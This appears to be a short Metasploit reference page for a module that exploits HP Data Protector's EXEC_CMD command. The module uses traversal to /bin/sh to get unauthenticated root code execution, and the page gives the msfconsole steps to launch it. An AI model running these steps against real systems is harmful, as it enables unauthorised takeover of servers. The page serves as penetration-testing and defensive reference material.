This exploit abuses a vulnerability in the HP Data Protector service. This flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD command and traverse back to /bin/sh, this allows arbitrary remote code execution under the context of root.
Linux,Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/misc/hp_data_protector_cmd_exec
msf exploit(hp_data_protector_cmd_exec) > show targets
...targets...
msf exploit(hp_data_protector_cmd_exec) > set TARGET < target-id >
msf exploit(hp_data_protector_cmd_exec) > show options
...show and set options...
msf exploit(hp_data_protector_cmd_exec) > exploit
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